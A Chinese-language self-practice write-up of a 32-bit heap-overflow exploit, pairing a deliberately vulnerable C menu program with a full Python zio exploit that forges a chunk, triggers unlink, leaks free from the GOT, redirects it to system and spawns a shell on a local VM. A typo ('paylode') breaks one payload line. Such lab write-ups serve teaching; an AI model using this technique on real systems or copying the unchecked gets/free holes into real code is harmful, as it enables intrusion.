内存管理漏洞 part(1)

说明

自己练习堆溢出的一点总结。目标程序的代码是自己写的,然后然后挂到自己的虚拟机上。然后自己写poc把它打下来拿到shell。因为是自己随便写的代码,所以漏洞不只是一点两点,有好几中方法打下来。当然,这次的练习中我只利用堆溢出这一个漏洞而不会使用use after free 或者是double free

条件

首先是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *a[2010];
int i=2000;
void m(void);
void f(void);
void e(void);
void p(void);

int main(void)
{

char c;
setbuf(stdout,NULL);
while (1)
{
printf("What is you choose?\n");
scanf("%c",&c);
getchar();
if(c == 'm')
{
m();
}
else if(c == 'f')
{
f();
}
else if(c == 'e')
{
e();
}
else if(c == 'p')
{
p();
}
else
{
break;
}
}
printf("end\n");
}

void m(void)
{

printf("now i malloc a heap\n");
a[i] = (char *)malloc(0x100);
printf("enter you code\n");
gets(a[i]);
i++;
printf("OK!\n");
}

void f(void)
{

int j;
//printf("now i free a heap\n");
printf("which heap do you want to free?\n");

scanf("%d",&j);
getchar();

free(a[j+2000]);
printf("Ok!\n");
}

void e(void)
{

int j;
printf("which heap do you want to edit?\n");
scanf("%d",&j);
getchar();
gets(a[j+2000]);
printf("Ok!\n");
}
void p(void)
{

int j;
printf("which heap do you wnat to show?\n");
scanf("%d",&j);
getchar();
printf("%s\n",a[j+2000]);
printf("end\n");
}

额,相当偷懒的代码。分别用4个函数实行内存分配,释放,修改和打印。然后内存指针用全局数组储存。没有任何的逻辑检查,free的指针也不清零。反正能拿来用就可以了。只利用堆溢出。

关于开启的保护,基本上是标准的配置

  • got表可写
  • PIE关闭
  • alsr开启
  • nx开启,栈段和堆段不可写
  • libc版本为2.19

溢出的方法可以参见这里
传送门
看不懂的话可以换篇更好的文章翻翻。就不多做介绍了。

开始

流程嘛,先是申请2块内存。然后调用e函数修改第一块内存的,并且溢出到第二快内存造成溢出
paylode是这个样子的

0x00000000) + 0x00000101 + (0x0804b8e0 - 0xc) + (0x0804b8e0 - 0x8) + ‘a’*(0x100-16) + 0x00000100 + 0x00000108

这里我们在内存中伪造了一个chunk,并且通过覆盖下一个chunk的头部,使得操作系统误认为我们伪造的chunk已经被释放。
先是prve_size为0,然后是伪造的堆大小是0x100再加1表示前一块内存正在使用。然后就是2个指针。0x0804b8e0便是指向第一块内存块的指针在.data段的地址。
因为是32位下,所以减了0xc和0x8。64位下需要修改大小。然后是0x100-16个数据填满chunk然后就是覆盖第二个chunk的chunk头,把prve_size和size修改为我们伪造的大小并且把size最低位的flag置为为0指示前一个chunk已经被释放

然后就是free第2块内存触发unlink漏洞,现在指向第一块内存的指针已经被改写成了指向0x0804b8d4。现在如果调用e函数修改内存的话,就会将指针自己覆盖掉。

现在再调用e函数修改第一块内存。构造如下paylode

‘a’*12 + 0x08049948

0x08049948为程序got表中free的位置。现在本来应该指向内存块的指针变成了指向got表。现在如果我们再一次调用e函数就可以篡改got表。

当然我们先不急着修改got表,我们先吧libc的基地址给leak出来。只要调用p函数,可以得到free函数的位置。然后可以计算出system函数的地址

再次调用e函数改写free的地址为system的地址。

然后申请一块内存,填上/bin/sh再free一下,shell就到手了
贴上完整的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#! /usr/bin/python
from zio import * #zio.py 蓝莲花出品的黑科技产品,非常好用,强力推荐

io = zio(('192.168.169.131',8000))
#io = zio('/home/explorer/heap')

libc_free = 0x00077390 #这里是我自己的libc中system和free函数的偏移地址。
libc_sys = 0x0003E770

#第一块内存的申请
io.readline()
io.writeline('m')
io.readline()
io.readline()
io.writeline('aaa')
io.readline()
io.readline()

#第二快
io.writeline('m')
io.readline()
io.readline()
io.writeline('aaa')
io.readline()
io.readline()

#先把带有/bin/sh的内存给申请了
io.writeline('m')
io.readline()
io.readline()
io.writeline('/bin/sh')
io.readline()
io.readline()

#修改第一块内存,发送payload
payload = l32(0x00000000) + l32(0x00000101) + l32(0x0804b8e0 - 0xc) + l32(0x0804b8e0 - 0x8)
payload += 'a'*(0x100-16)
paylode += l32(0x00000100) + l32(0x00000108)
io.writeline('e')
io.readline()
io.writeline('0')
io.writeline(payload)
io.readline()
io.readline()

#free第二块内存,触发unlink
io.writeline('f')
io.readline()
io.writeline('1')
io.readline()
io.readline()

#篡改指针
io.writeline('e')
io.readline()
io.writeline('0')
io.writeline('a'*12 + l32(0x08049948))
io.readline()
io.readline()

#leak地址
io.writeline('p')
io.readline()
io.writeline('0')

#这里我leak了整个got表的地址,待会修改的时候再全部还原回去
#这样可以防止gets结尾加0x0破坏got表导致异常退出
free_addr = l32(io.read(4))
scanf_addr = l32(io.read(4))
malloc_addr = l32(io.read(4))
puts_addr = l32(io.read(4))
io.readline()
io.readline()

#计算system地址
base_addr = free_addr - libc_free
sys_addr = base_addr + libc_sys
print hex(sys_addr)

#篡改got表
io.writeline('e')
io.readline()
io.writeline('0')
io.writeline(l32(sys_addr)+l32(scanf_addr)+l32(malloc_addr)+l32(puts_addr))
io.readline()
io.readline()

#现在调用system函数
io.writeline('f')
io.readline()
io.writeline('2')

#Now I got the shell
io.interact()

因为有一大堆交互的操作,所以有点长。不过完全没有跳转。